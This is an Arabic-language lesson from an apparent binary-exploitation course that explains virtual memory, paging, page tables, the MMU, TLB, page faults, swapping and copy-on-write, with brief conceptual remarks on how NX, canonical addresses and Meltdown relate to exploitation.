الذاكرة الافتراضية والـ Paging: السالفة كاملة | فن الاستغلال — أكاديمية سهم
أكاديمية سهم — فن الاستغلال
LESSON 04 · فن الاستغلال

الذاكرة الافتراضية والـ Paging
من العنوان الوهمي إلى الـ RAM الحقيقي

ترى كل برنامج يشتغل على جهازك مقتنع إنه ماسك الذاكرة كاملة لحاله. هذي الكذبة العبقريّة هي اللي خلّت أنظمة التشغيل تشتغل، وهي بنفسها الأساس اللي قاعدة عليه كل آليات الحماية اللي يحاول المهاجمين يكسرونها: NX، ASLR، Guard Pages، وفصل الـ kernel عن المستخدم. في هذا الدرس بنشرّح الكذبة من أول بايت لين آخر استغلال — كل شي بمكانه ووقته.

قراءة عميقة · ~45 دقيقة المستوى: متوسط — متقدم 26 قسم · 10 رسوم تفاعلية

01المقدمة: ليش نحتاج الذاكرة الافتراضية؟

تخيّل معاي: عندك فندق صغير فيه عشر غرف بس. ولا قبل لك جاك سيل من الضيوف، كلهم يبون يدخلون. عاد قلت لكل واحد فيهم: «غرفتك هي الغرفة رقم 1». كيف يصدّق كل ضيف هذي السالفة من غير ما يصير تصادم؟ الحل بسيط بس عبقري — تعطي كل واحد مفتاح مكتوب عليه «غرفة 1»، بس وراء الكواليس كل مفتاح يفتح غرفة ثانية فعليًا. الضيف شايف الرقم اللي يبيه، وأنت اللي تتحكّم بالربط الحقيقي.

هذي باختصار هي الذاكرة الافتراضية (Virtual Memory). نظام التشغيل يقول لكل برنامج: «انت ماسك الذاكرة كاملة لحالك»، وكل برنامج يصدّق. البرنامج يستخدم عناوين مثل 0x00400000، بس هذي العناوين مو عناوين حقيقية في الـ RAM — ترى عناوين وهمية يترجمها المعالج لعناوين فعلية مختلفة لكل برنامج.

وش يصير لو ما عندنا ذاكرة افتراضية؟

من غير هذي الطبقة، كل برنامج بيوصل للـ RAM مباشرة، وعقبها بتطلع مشاكل قاتلة:

  • ما في عزل: أي برنامج خبيث يقدر يقرأ كلمات السر من ذاكرة المتصفح بكل سهولة.
  • التشتّت (Fragmentation): عقب ساعة من فتح وإغلاق البرامج، الذاكرة تصير قطع صغيرة ما تقدر تجمّعها.
  • حجم محدود: نظام بـ 4 جيجا RAM ما يقدر يعطي كل برنامج رؤية لـ 4 جيجا.
  • ما في حماية: الكود والبيانات بنفس الصلاحيات، يكفي خطأ بسيط عشان أحد يكتب كود خبيث في الذاكرة وينفّذه.
i
ملاحظة من البداية

الذاكرة الافتراضية مو «ميزة إضافية» في نظام التشغيل — هي الأساس اللي قاعد عليه كل أمن الأنظمة الحديثة. كل ما تسمع عن NX، ASLR، SMEP، KASLR… كلها مبنيّة فوق هذا الميكانيزم.

4 KBحجم الصفحة الافتراضي
48-bitالعنوان الافتراضي على x64
4مستويات جدول الصفحات
256 TBفضاء العنونة لكل عملية

02الذاكرة الفعلية مقابل الذاكرة الافتراضية

خَل نفرّق بين عالمين متوازيين:

  • الذاكرة الفعلية (Physical Memory): الـ RAM الحقيقي على لوحتك الأم. شي مادي تقدر تلمسه. حجمها محدود (8 GB، 16 GB…)، وكل بايت فيها له عنوان فعلي واحد بس.
  • الذاكرة الافتراضية (Virtual Memory): الوهم اللي يبنيه نظام التشغيل لكلّ عملية. كلّ عمليةٍ ترى فضاءَ عنونةٍ منفصل، وقد يكون أكبر بكثير من الـ RAM الفعلي.

تقريب للفكرة: تخيّل مكتبة كبيرة فيها مليون كتاب. كل زائر يدخل المكتبة يعطونه كتالوج شخصي فيه أرقام الكتب من 1 لين 1,000,000. بس وراء الكواليس، لما يطلب الزائر «كتاب رقم 42»، أمين المكتبة يرسل هذا الرقم للرفوف الحقيقية ويحضّر له الكتاب اللي يخصّه. زائر ثاني يطلب «الكتاب 42» ويوصله كتاب مختلف. الكتالوج وهمي — بس عملي وآمن.

رسم تفاعلي 01 · العمليتين يشوفون نفس العنوان بس لأماكن مختلفة في الـ RAM
Process A (browser) virtual addr 0x00400000 Process B (text editor) virtual addr 0x00400000 MMU Translation Unit RAM الفعلي Physical Memory 0x1A2C4000 (Frame A) 0x07B30000 (Frame B) 0x0A100000 (free) ...
الفكرة الأساسية

كل عملية عندها جدول ترجمة خاص فيها يقول للـ MMU: «لو طلبت العملية A عنوان، رجّع لها Frame A. ولو طلبت B نفس العنوان، رجّع لها Frame B». هذا الجدول هو اللي نسمّيه Page Table.

03فضاء العنونة للعملية (Process Address Space)

فضاء العنونة هو الـ أُفُق اللي تراه العملية. كلّ بايتٍ ممكن العملية تشير إليه يقع داخل هذا الفضاء. على نظام 64-bit في Linux، x86_64 تستخدم فعليًا 48 بت بس من العنوان، يعني عندك فضاء نظري قدره 2^48 = 256 TB — كميّة خياليّة من العناوين.

هذا الفضاء ينقسم إلى منطقتين رئيسيتين:

  • User space: النصف الأسفل (يبدأ من 0x00000000_00000000 حتى نحو 0x00007fff_ffffffff). هذا ما تقدر برامجك العادية الوصول إليه.
  • Kernel space: النصف الأعلى (من 0xffff8000_00000000 فما فوق). محجوز لنواة النظام. أيّ محاولة من برنامج عادي للوصول إليه تنتهي بـ Segmentation Fault.

البتّات الـ 16 العليا غير المستخدمة لازم تكون يا إما كلها صفر أو كلها واحد (وهذا ما يُسمّى Canonical Address). أيّ عنوان لا يحترم هذي القاعدة يعدّه المعالج غير قانوني ويرفضه فورًا.

!
أهميّة هذا في الاستغلال

لمّا تحقن قيمةً تنوي استعمالها لاحقًا كـ RIP في هجوم Buffer Overflow، لازم يكون العنوان «قانونيًا». لو وضعت قيمة مثل 0xdeadbeef_cafebabe فستحصل على SIGSEGV فورًا قبل أن يبدأ الـ payload أصلًا، لأن البتّ 47 يساوي 1 لكن البتّات الـ 16 العليا مو كلها واحد.

رسم تفاعلي 02 · توزيع فضاء العنونة في نظام x86_64
0x0000_0000_0000_0000 0xFFFF_FFFF_FFFF_FFFF User Space 128 TB ينستخدم Non-Canonical Hole يترفض ع طول Kernel Space 128 TB محظور على الـ user 0x0000_0000 → 0x7FFF_FFFF 0xFFFF_8000 → 0xFFFF_FFFF العنوان "Canonical": يا إما أعلى 16 بت كلها 0 (user) أو كلها 1 (kernel) — أيّ خلطٍ يُرفض

04خريطة الذاكرة: من وين يبدأ كل شيء وأين ينتهي؟

لمّا يبدأ برنامجٌ في التنفيذ، يقسّم نظام التشغيل فضاءَ عنونته إلى أقسام منطقية (Segments)، لكلّ منها وظيفةٌ وصلاحياتٌ مختلفة. لنُلقِ نظرةً على الترتيب من أعلى إلى أسفل العنوان:

رسم تفاعلي 03 · خريطة الذاكرة لعملية شغّالة على Linux x86_64
0x7fff_ffff_ffff (high) ↑ عناوين عالية Kernel Space (مو متاح) r-x / rw- (ring 0) [stack] متغيّرات محليّة، عناوين الرجوع، إطار الـ stack — يينمو لتحت ↓ rw- ~8 MB افتراضيًا ↕ فجوة كبيرة (هنا يحدث mmap) [mmap / Shared Libraries] libc.so.6, ld.so، ملفات مَخرَطة، صفحات مجهولة r-x / r-- / rw- [heap] يينمو لفوق ↑ — كل malloc/new يأخذ منه قطعة rw- [.bss] متغيّرات غير مهيّأة (= 0) [.data] متغيّرات عامّة مهيّأة [.rodata] ثوابت، نصوص — r-- [.text] الكود التنفيذي — r-x 0x0040_0000 (low) ↓ عناوين منخفضة

شرح كلّ قسم بتفصيلٍ أقرب

قسم .text — الكود التنفيذي: يحوي تعليمات البرنامج بصيغة آلية (assembly مُجمَّع). يتحمّل في الذاكرة بصلاحيّات r-x (قراءة وتنفيذ، بدون كتابة). هذا يمنع البرامج من تعديل كودها الخاص أثناء التشغيل — وهي خطوة دفاعيّة أساسية.

قسم .rodata — البيانات للقراءة بس: يحوي الثوابت مثل النصوص الحرفيّة: printf("Hello"); النصّ "Hello" يعيش هنا. الصلاحيّة r-- بس.

قسم .data — البيانات المهيّأة: متغيّرات عامّة (global) أُعطيَت قيمةً ابتدائيّة في الكود المصدري. مثال: int counter = 42;. الصلاحيّة rw-.

قسم .bss — البيانات غير المهيّأة: متغيّرات عامّة بدون قيمة ابتدائيّة. لا تأخذ مساحةً في الملف التنفيذي — يكفي حفظ حجمها بس، ثم النظام يصفّرها كاملةً عند التحميل. هذي حيلة ذكيّة لتوفير حجم البرنامج على القرص.

الـ Heap: منطقةٌ ديناميكيّة. كل مرّةٍ تستدعي malloc() أو new، يأخذ مدير الـ heap قطعةً من هنا. يينمو لفوق. حجمه يتغيّر باستدعاء brk() أو mmap().

منطقة الـ mmap والمكتبات المشتركة: هنا تتحمّل libc.so.6 وغيرها. أيضًا، كلّ تخصيصٍ كبير عبر mmap() يقع هنا (لذلك malloc() الكبير في glibc الحديث يستخدم mmap فعليًا).

الـ Stack: يينمو لتحت. كلّ استدعاء دالةٍ ينشئ إطارًا جديدًا (Stack Frame) يحوي: المتغيّرات المحليّة، عنوان الرجوع (Return Address)، والـ saved rbp. هذا هو ميدان معاركنا الرئيسي في الـ Buffer Overflow.

!
تنبيه استغلالي من بدري

لاحظ إن .text مو قابلة للكتابة، والـ stack مو قابلة للتنفيذ (بفضل NX). هذا الفصل بين «الكتابة» و«التنفيذ» (W^X) هو السبب اللي خلّانا في 2025 ما نقدر نحط shellcode في الـ stack ونقفز له مباشرة. بدال كذا نروح لـ ROP اللي يستخدم كود موجود أصلًا في .text.

05العناوين الافتراضية مقابل العناوين الفعلية

لنفصل المفهومين بدقّةٍ تامّة:

  • العنوان الافتراضي (Virtual Address — VA): ما يراه كودك. كلّ مؤشّر (pointer) في C، كلّ RIP، كلّ RSP… هي عناوين افتراضية.
  • العنوان الفعلي (Physical Address — PA): الموقع الحقيقي في رقاقة الـ RAM. ما يشوفه برنامج المستخدم أبد — تعمل به الـ kernel والـ DMA بس.

لنُجرِ تجربةً صغيرة: شغّل برنامجين متطابقين في نفس الوقت. اطبع نفس المؤشّر في كليهما — بتحصل على نفس العنوان الافتراضي (مثلًا 0x7ffe_a3b2_1000) رغم أن المؤشّرين يشيران إلى قطعتين مختلفتين في الـ RAM!

test.c
// شغّل البرنامج مرّتين في نافذتي terminal منفصلتين
#include <stdio.h>
#include <unistd.h>

int main() {
    int x = 42;
    printf("pid=%d  &x = %p  value = %d\n", getpid(), &x, x);
    sleep(60);  // انتظر لنتمكّن من فحص الـ /proc
    return 0;
}
bash · النتيجة
$ ./test &  # في النافذة الأولى
pid=4711  &x = 0x7ffd9a2bc8ec  value = 42

$ ./test &  # في النافذة الثانية
pid=4712  &x = 0x7ffd9a2bc8ec  value = 42

# نفس العنوان الافتراضي، لكنّهما قطعتان مختلفتان فعليًا في RAM!
i
لاحظ

على الأنظمة الجديدة مع ASLR مفعّل، يمكن ما تحصل على نفس العنوان بالضبط بين تشغيلين، لأن أماكن الـ stack والـ heap تتعشّى عشوائيًا. بس الفكرة الجوهرية تبقى: عنوان افتراضي موحّد في الكود ≠ موقع موحّد في الـ RAM.

06وش هو الـ Paging؟

طيب الحين وصلنا للفكرة العملية. كيف نظام التشغيل يحقّق هذي السالفة بكفاءة؟

لنفكّر بمشكلة تنظيميّة: لديك كتابٌ كبير ومخيف من 1000 صفحة، وتحتاج لإقراضه قطعةً قطعةً لمئات الأشخاص. لو وعدتَ كلّ شخصٍ بـ «جزءٍ متّصل»، ف ما بـتقدر إدارة الكتاب: شخصٌ يأخذ من ص1 إلى ص50، آخر من ص30 إلى ص80… بتلقىُ نفسك أمام فوضى تداخلات.

الحلّ: قسّم الكتاب إلى أوراقٍ منفصلةٍ متساوية. الورقة الواحدة هي وحدتك الأساسية. تعطي «الورقة 17» للشخص الأول، و «الورقة 18» للشخص الثاني… ولا يهم لو كانت الأوراق متجاورةً ترى. تحتفظ بـ قائمة تربط بين «الورقة اللي طلبها فلان» و «الورقة الفعلية على رفّك».

هذا بالضبط هو الـ Paging:

  • قسّم الذاكرة الافتراضية إلى قطعٍ صغيرة متساوية الحجم تسمّى Pages (عادةً 4 KB).
  • قسّم الذاكرة الفعلية إلى قطعٍ من نفس الحجم تسمّى Page Frames.
  • احفظ جدولًا يربط كلّ Page بالـ Frame اللي يخزّنها فعليًا.
  • لمّا يطلب البرنامج عنوانًا افتراضيًّا، استخرج رقم الـ Page من العنوان، اقرأ الجدول، احصل على رقم الـ Frame، ثم اقرأ الموقع الفعلي.

هذي الفكرة تحلّ كلّ المشاكل اللي ذكرناها: عزلٌ (كلّ عمليةٍ لها جدولها الخاص)، لا تشتّت (الأوراق متساويةٌ يمكن جمعها بأيّ ترتيب)، وحماية (يمكن وضع علاماتٍ على كلّ Page تحدّد صلاحيّاتها).

ليش 4 KB بالضبط؟

ترى 4096 بايت هي نقطة توازن:

  • صغير بما يكفي ليكون دقيق الإدارة (مو وحدةً ضخمة تهدر الذاكرة).
  • كبير بما يكفي ليجعل الجداول صغيرةً نسبيًا (لو كانت الصفحة 1 KB لاحتجنا 4 أضعاف عدد الإدخالات).
  • يتطلّب 12 بت بس للـ offset، وهو رقم مريحٌ للهاردوير.

07الصفحات (Pages) والـ Page Frames

لنحدّد المصطلحات بدقّة:

  • Page (صفحة): كتلةٌ من الذاكرة الافتراضية، حجمها 4 KB، تبدأ عند عنوانٍ يقبل القسمة على 4096.
  • Page Frame (إطار صفحة): كتلةٌ من الذاكرة الفعلية، حجمها 4 KB، تبدأ عند عنوانٍ فعليٍّ يقبل القسمة على 4096.
  • Page Frame Number (PFN): رقم الإطار. ببساطة، عنوان الإطار الفعلي مقسوم على 4096. لو الإطار يبدأ من 0x1A2C4000، فالـ PFN = 0x1A2C4.

الفكرة الجميلة: لأن حجم الصفحة 4 KB = 2^12، فإن الـ 12 بتًا السفليّة من العنوان الافتراضي تمثّل offset داخل الصفحة. الـ 12 بتًا السفليّة من العنوان الفعلي تمثّل أيضًا offset داخل الإطار. وهذا الـ offset لا يتغيّر أثناء الترجمة!

أي أن الترجمة لا تحدث على البايتات الفرديّة، بل على أرقام الصفحات بس.

رسم تفاعلي 04 · تقسيم العنوان الافتراضي: Page Number + Offset
العنوان الافتراضي: 0x00007FFE12345678 bits 47..12 (page number) bits 11..0 (offset) 0x00007FFE12345 Virtual Page Number (VPN) 0x678 offset في الصفحة العنوان الفعلي: PFN (نتيجة الترجمة) 0x678 (يبقى كما هو)

يعني لو نبي نترجم 0x00007FFE12345678:

  • الـ VPN = 0x00007FFE12345
  • الـ offset = 0x678
  • نبحث عن الـ VPN في جدول الصفحات، فنحصل على PFN (مثلًا 0x1A2C4).
  • العنوان الفعلي = (PFN << 12) | offset = 0x1A2C4678.

08جداول الصفحات (Page Tables)

Page Table هي ببساطة قاموس يربط كلّ VPN بـ PFN الموافق له، مع بعض البتّات الإضافيّة للصلاحيّات. تخيّل ملفّ Excel بصفّين رئيسيّين:

  • عمود «رقم الصفحة الافتراضية» — المفتاح.
  • عمود «رقم الإطار الفعلي + الصلاحيّات» — القيمة.

لكن لو كانت هذي فعلًا جداولَ مسطّحة، لكان حجمها كارثيًا. تخيّل: على نظام 64-bit، لدينا 2^48 عنوانًا افتراضيًّا، وحجم الصفحة 4 KB، أي 2^36 صفحة افتراضية. لو كان كلّ مدخل في الجدول 8 بايت، لكان الجدول بحجم 512 GB لكلّ عملية! هذا مستحيلٌ تخزينه. ولذلك نروح لـ الجداول المتعدّدة المستويات.

كلّ مدخل في الجدول (PTE — Page Table Entry)

على x86_64، كل مدخل بحجم 8 بايت (64 بت)، يخزّن PFN + مجموعة من بتّات التحكّم:

البتالاسمالمعنى
0P (Present)إذا = 1، الصفحة في الـ RAM. إذا = 0، أيّ وصولٍ يسبّب Page Fault.
1R/W0 = للقراءة بس، 1 = للقراءة والكتابة.
2U/S0 = للنواة بس (ring 0)، 1 = متاحة للمستخدم (ring 3).
3PWTتحكّم في الـ Caching (Write-Through).
4PCDتعطيل الـ Cache لهذه الصفحة.
5A (Accessed)المعالج يضعها = 1 عند أي وصولٍ إلى الصفحة.
6D (Dirty)المعالج يضعها = 1 عند الكتابة إلى الصفحة.
8G (Global)صفحةٌ مشتركة بين كلّ العمليّات (مثل صفحات الـ kernel) — لا يتمسح إدخالها من الـ TLB عند تبديل العمليّة.
12..51PFNالـ 40 بتًا اللي تحدّد رقم الإطار الفعلي.
63NX (No-eXecute)إذا = 1، الكود في هذي الصفحة لا يُنفَّذ. هذا هو DEP/W^X.
!
هذي البتّات هي «أساس الحماية» كلّها

كل آليات الحماية الحديثة هي مجرّد بتّاتٍ في PTE. لمّا تقرأ في exploit writeup عبارة «بسبب NX bit لم نستطع تنفيذ الـ stack»، فالكاتب يشير حرفيًا إلى البت رقم 63 في كل PTE يخصّ منطقة الـ stack. كلّ مهارتك في الـ Binary Exploitation تنبع من فهم هذي البتّات.

09جداول الصفحات متعدّدة المستويات

لنحلّ مشكلة الـ 512 GB. الفكرة الذكيّة: بدال جدولٍ مسطّح كبير ومخيف، نستخدم شجرة جداول. كلّ مستوًى يخبر المعالج وين يجد المستوى التالي.

تخيّل كتابًا كبير ومخيفًا بفهرسٍ هرمي: «الباب 4 ← الفصل 7 ← القسم 3 ← الصفحة 42». ما تحتاج أن تحفظ موقع كلّ صفحةٍ مباشرةً؛ يكفي أن تدري مكان «الباب 4»، ومن هناك تتنقّل. إذا كان «الباب 9» غير موجود أصلًا في كتابك، يمكنك حذف فهرسه كاملًا — توفيرٌ هائل.

على x86_64 بـ 48 بت، نستخدم 4 مستويات من الجداول، وكل مستوى ياخذ 9 بت من العنوان:

المستوىالاسمالبتّاتعدد الإدخالات
1 (الأعلى)PML4 — Page Map Level 447..39512
2PDPT — Page Directory Pointer Table38..30512
3PD — Page Directory29..21512
4PT — Page Table20..12512
offset11..0

كلّ جدولٍ يحوي 512 مدخل × 8 بايت = 4096 بايت = صفحة واحدة بالضبط. هذا توافقٌ رائعٌ بين الهاردوير وحجم الصفحة.

رسم تفاعلي 05 · نمشي على الـ 4 مستويات في الجداول (x86_64)
CR3 root register PML4 512 entries bits 47..39 PDPT 512 entries bits 38..30 PD 512 entries bits 29..21 PT 512 entries bits 20..12 Physical Page 4 KB في الـ RAM + offset (bits 11..0) العنوان الافتراضي بطول 48 بت ينقسم كذا: PML4 [9b] PDPT [9b] PD [9b] PT [9b] offset [12b] كلّ مستوى يستعمل 9 بت كـ index داخل جدولٍ من 512 مدخل، حتى نصل لـ PT اللي يحوي PFN النهائي.
i
ميزة المستويات

إذا كانت منطقةٌ كاملة من فضاء العنونة غير مستخدمة، فلا حاجة لإنشاء جداول لها. مثلًا، عمليةٌ تستهلك 100 MB بس تقدر تكتفي بحفنةٍ صغيرة من الجداول، لا 512 GB. ندفع بس مقابل ما نستخدمه.

10ترجمة العنوان خطوةً بخطوة

خَل ناخذ مثال حسابي. نبي نترجم العنوان الافتراضي:

virtual address
VA = 0x00007FFE12345678

// نحوّل إلى binary لرؤية البتّات:
0000 0000 0000 0000 // bits 63..48 (sign-extended)
0111 1111 1|111 1110 0001 |0010 0011 0100 |0101 0110 0111 1000
↑ PML4         ↑ PDPT        ↑ PD          ↑ PT          ↑ offset

نطلّع البتّات بالإيد:

  • PML4 index (bits 47..39) = 0xFF = 255
  • PDPT index (bits 38..30) = 0x1F0 ≈ 496 (احسبها يدويًا للتدريب)
  • PD index (bits 29..21) = 0xC8 = ...
  • PT index (bits 20..12) = 0x145 = ...
  • offset (bits 11..0) = 0x678

الحين نتبع المسار:

  1. المعالج يقرأ CR3: مثلًا = 0x100000 (العنوان الفعلي لـ PML4).
  2. يجلب الإدخال 255 من جدول PML4 ← قيمته PFN = 0x4B63، أي PDPT في 0x4B63000.
  3. يجلب الإدخال 496 من PDPT ← يحصل على PFN لـ PD، مثلًا 0x1A2C4.
  4. يجلب الإدخال في PD ← يحصل على PFN لـ PT.
  5. يجلب الإدخال في PT ← أخيرًا يحصل على PFN للصفحة المطلوبة، مثلًا 0x55AA.
  6. العنوان الفعلي = (0x55AA << 12) | 0x678 = 0x55AA678.
!
كلفة الترجمة

كل وصولٍ للذاكرة يتطلّب 4 قراءات إضافيّة من الـ RAM قبل القراءة الحقيقية! هذا كارثة من ناحية الأداء — عشان كذا تم ابتكار الـ TLB (بنوصله قريب).

تمرين عملي: فكّ PTE

إذا أعطيتك القيمة الخام لمدخل PTE:

PTE decode
PTE = 0x800000001A2C4867

bit 63 (NX)   = 1   → الصفحة غير قابلة للتنفيذ
bits 62..52   = 0   → محجوزة
bits 51..12   = 0x1A2C4  → PFN (الـ frame الفعلي)
bit 6 (D)     = 0   → لم تُكتب بعد
bit 5 (A)     = 1   → تمّ الوصول إليها
bit 2 (U/S)   = 1   → متاحة للمستخدم
bit 1 (R/W)   = 1   → قابلة للكتابة
bit 0 (P)     = 1   → موجودة في RAM

// الخلاصة: صفحةٌ rw- (read+write, no execute)
// عنوانها الفعلي = 0x1A2C4000

11وحدة إدارة الذاكرة (MMU)

الـ MMU (Memory Management Unit) قطعةٌ هاردويرية داخل المعالج وظيفتها الوحيدة: ترجمة العناوين الافتراضية إلى فعلية. كلّ تعليمةٍ تقرأ أو تكتب من الذاكرة، تمرّ أولًا على الـ MMU.

التشبيه: الـ MMU هو موظّف الاستقبال في فندقٍ كبير ومخيف. الضيف يقول «أريد غرفة 1»، والموظّف يفتح كتالوجه ويبحث، ثم يقول «اذهب فعليًّا إلى الغرفة 1A2C4 في الطابق السابع». الضيف لا يدري عن هذا التحويل شيئًا.

تسلسل العمل في كلّ وصولٍ للذاكرة:

  1. التعليمة تطلب قراءة من 0x7FFE12345678.
  2. الـ MMU يستقبل العنوان الافتراضي.
  3. يبحث أولًا في الـ TLB (الذاكرة المؤقّتة للترجمات الحديثة).
  4. إذا وُجد ← يستعمله مباشرة (تكلفة ~0).
  5. إذا لم يوجد ← يبدأ Page Walk عبر CR3 → PML4 → PDPT → PD → PT.
  6. يتحقّق من بتّات الصلاحيّة: هل الصفحة موجودة؟ هل المستخدم مسموح له؟ هل العمليّة قراءة ولا كتابة؟
  7. إذا اجتاز الفحوصات ← يحضّر البايتات الفعلية.
  8. إذا فشل ← يتولّد #PF (Page Fault) ويحوّل التحكّم لنواة النظام.
i
الـ MMU ما يفرّق بين الكود والبيانات

الـ MMU لا يهتمّ بـ «ما هذا البايت». همّه الوحيد هو الترجمة وفحص الصلاحيّات. حماية «هذي منطقة كود — لا تكتب فيها» تأتي من بتّات PTE، لا من ذكاءٍ في الـ MMU.

12الـ TLB (Translation Lookaside Buffer)

لو احتاج كلّ وصولٍ للذاكرة 4 قراءاتٍ إضافيّة، لكانت الحواسيب أبطأ بأربعة أضعاف. الحلّ: كاش صغيرٌ مرّة وسريعٌ مرّة، مخصّصٌ لحفظ الترجمات الحديثة. هذا هو الـ TLB.

تشبيه: لو كنتَ موظّف الاستقبال في الفندق، لا تفتح الكاتالوج الكامل في كلّ مرّة. تحفظ في ذاكرتك العشرين الأخيرة من الترجمات الشائعة («غرفة 1 = 1A2C، غرفة 2 = 1A2D…»). هذي الذاكرة هي TLB.

  • L1 ITLB: للتعليمات (instruction fetch). ~64-128 إدخال.
  • L1 DTLB: للبيانات (load/store). ~64-128 إدخال.
  • L2 STLB: كاش موحَّد أكبر. ~1500-2000 إدخال.
رسم تفاعلي 06 · مسار طلب الذاكرة: TLB أوّل، عقبها MMU
CPU load/store 0x7FFE... TLB cache صغير ~1-3 cycles HIT (سريع) MISS Page Walk 4 RAM accesses ~100 cycles cache result Physical Addr → RAM access

متى يتمسح الـ TLB؟

  • عند تبديل العمليّات (CR3 يُكتب من جديد) — لأن جداول الصفحات تغيّرت.
  • عند تعليمة INVLPG <addr> — لمسح إدخالٍ واحد.
  • تلقائيًا عند ترقية صلاحيّات صفحة.

الصفحات المُعلّمة بـ Global (G=1) — مثل صفحات الـ kernel المشتركة — لا تتمسح عند تبديل العمليّات. هذا يحسّن الأداء.

!
Meltdown

هجوم Meltdown (2018) استغلّ حقيقةً مذهلة: المعالج كان يقرأ بيانات الـ kernel spectulatively قبل التحقّق من صلاحيّة U/S في الـ TLB. حتى لو رُفض الوصول لاحقًا، أثرٌ يبقى في الـ cache يمكن استخراجه بـ side-channel. علاج هذا (KPTI) جعل الـ kernel في جدول صفحاتٍ منفصلٍ كليًّا، ما زاد الـ TLB flushes وأبطأ النظام.

13أخطاء الصفحات (Page Faults)

Page Fault مو دايم خطأ سيّئ. وايد منه يكون حدث متوقّع ومفيد، نظام التشغيل يستعمله عشان يبني ميزات كثيرة. خَلّنا نفهمه الأول، عقبها نصنّفه.

لما يفشل الـ MMU في الترجمة (الصفحة مو موجودة، أو الصلاحيات ما تسمح)، يتولّد استثناء #PF (vector 14). المعالج يدفع على الـ stack الكود التفسيري، ويقفز لـ Page Fault Handler في الـ kernel. الـ kernel يقرّر: هل هذا خطأ شرعي ولازم نعالجه، ولا خطأ حقيقي ولازم نقتل العملية؟

التصنيف: Minor vs Major

  • Minor fault: الصفحة موجودة في الـ RAM بس مو مربوطة لحد الحين بجدول صفحات هذي العملية. سريع مرّة — ما يحتاج قراءة من القرص. مثلًا: صفحات Copy-on-Write، أو صفحات مشتركة لسا ما اتربطت.
  • Major fault: الصفحة على القرص (في swap أو ملف مَخرَط). لازم نقراها فعليًا من التخزين. بطيء — ممكن ياخذ ميلي ثانية أو أكثر.

تصنيف ثاني: شرعي vs غير شرعي

أخطاء شرعية (النظام يعالجها بصمت):

  • Demand Paging: أوّل وصول لصفحة خصّصها malloc بس هي ما اتربطت بعد.
  • Copy-on-Write: محاولة كتابة في صفحة مشتركة عقب fork().
  • Swap-in: قراءة صفحة انتقلت لـ swap على القرص.
  • Stack growth: تخطّيت stack pointer لصفحة مو مَخرَطة لسا، فالـ kernel يوسّع الـ stack.

أخطاء غير شرعيّة (تنتهي بـ SIGSEGV):

  • قراءة من عنوانٍ غير مَخرَط أصلًا (NULL pointer dereference).
  • كتابة في صفحةٍ للقراءة بس (محاولة تعديل ثابت).
  • تنفيذ كود من صفحةٍ مُعلَّمة NX.
  • وصول user-space إلى صفحة kernel-space.
رسم تفاعلي 07 · كيف يتعالج الـ Page Fault خطوة خطوة
access *ptr VA → MMU MMU walks page tables PML4 → ... → PT PTE valid? + permission OK? YES read/write RAM continue execution #PF Kernel: page_fault_handler() يفحص: shared? COW? swap? bug؟ handle & retry (resume) SIGSEGV → kill process

14Demand Paging — لا تخصِّص قبل الحاجة

لو طلبت من malloc 100 ميجابايت، فهل يحجز نظام التشغيل 100 ميجابايت من الـ RAM فورًا؟ لا. هذا سيكون إسرافًا. ما يحدث فعلًا:

  1. النظام ينشئ مدخلات PTE تشير إلى أن «الصفحات موجودة منطقيًّا» لكن مع P=0 (غير حاضرة).
  2. لمّا تحاول فعلًا الكتابة في إحدى الصفحات، يحدث Page Fault.
  3. المعالج يحوّل التحكّم للنواة.
  4. الـ kernel تختار Frame حرًّا، تربطه بالصفحة، تضع P=1، وتعيد التنفيذ.
  5. التعليمة اللي سبّبت الـ Fault تُعاد تنفيذها بصمتٍ، وكأنّ شيئًا لم يكن.
رسم تفاعلي 08 · Demand Paging — من «مَخرَطة بس مو حاضرة» لـ «حاضرة فعليًا»
قبل أوّل وصول malloc(100 MB) PTE: P=0 (غير حاضرة) RAM المستهلَك: 0 بايت! first write #PF — page fault الـ kernel تخصّص frame حرًّا P ← 1, PFN ← N بعد المعالجة PTE: P=1, PFN=0x4B63 RAM المستهلَك: 4 KB بس — صفحة واحدة! باقي الـ 99.996 MB ما زالت P=0
تجربة حيّة

افتح htop ثم شغّل برنامج يستدعي malloc(1 GB) بدون ما يكتب فيها. بتلاحظ أن VIRT (الذاكرة الافتراضية) كبيرة، لكن RES (الذاكرة المُقيمة فعليًّا في RAM) صغيرة مرّة. هذا هو Demand Paging في حالة عمل.

15الـ Swapping — لمّا تمتلئ الـ RAM

وش لو احتاج النظام صفحاتٍ أكثر ممّا يحويه الـ RAM؟ يستخدم القرص الصلب كـ «ذاكرة احتياطيّة». هذا الفعل اسمه Swapping (أو Paging out على Windows).

كيف يعمل الـ Swapping؟

  1. الـ kernel تختار صفحةً «باردة» (لم تُستعمل مؤخّرًا، اعتمادًا على بت A).
  2. إذا كانت قذرة (D=1)، تكتبها أولًا إلى منطقة swap على القرص.
  3. تضع PTE: P=0، وتسجّل في الإدخال وين توجد الصفحة على القرص.
  4. الـ Frame في الـ RAM صار حرًّا، يمكن إعادة استخدامه.
  5. لمّا يطلب البرنامج الصفحة من جديد ← Major Page Fault ← قراءةٌ من القرص ← ربط الصفحة من جديد.
رسم تفاعلي 09 · رحلة صفحة من الـ RAM للـ swap والرجعة
RAM (سريع) 8-32 GB Frame A — hot Frame B — hot Frame C — cold Frame D — hot page out (slow) page in (major fault) القرص / swap بطيء (~ms) slot 1 — Frame C free slot free slot
!
Thrashing

إذا كان البرنامج يحتاج عددًا من الصفحات أكبر ممّا في الـ RAM، يبدأ النظام يقضي أغلب وقته في نقل الصفحات بين القرص والـ RAM — وهذا ما يُسمّى Thrashing. الجهاز يصير بطيء للغاية رغم أنّ الـ CPU يكاد لا يعمل.

16Copy-on-Write — الكسل الذكي

لنفترض أنّ عمليةً تستدعي fork() لإنشاء عمليةٍ ابنة. تقليديًّا كان يلزم نسخ كامل ذاكرة الأب إلى الابن. لو كان الأب يستهلك 1 GB، فهذه نسخةٌ مكلفة مرّة — وفي 99% من الحالات يستدعي الابن exec() فورًا، ما يخلّي النسخة بلا فائدة.

الحلّ الذكي: Copy-on-Write (CoW). لا تنسخ شيئًا في البداية. خلّ الـ PTEs في كلتا العمليتين تشير إلى نفس Frames في الـ RAM، لكن مع تعديلٍ مهم: اضبط بت R/W إلى 0 في كلا الجدولين (للقراءة بس).

وش اللي يحدث؟

  • إذا قرأ أحدهما من الصفحة ← لا مشكلة، الصفحة للقراءة بس لكن القراءة مسموحة.
  • إذا كتب أحدهما ← Page Fault!
  • الـ kernel تتدخّل، تنسخ الصفحة فعليًّا لذلك المنتج، تعدّل PTE خاصّ به (R/W=1)، وتسمح للكتابة.
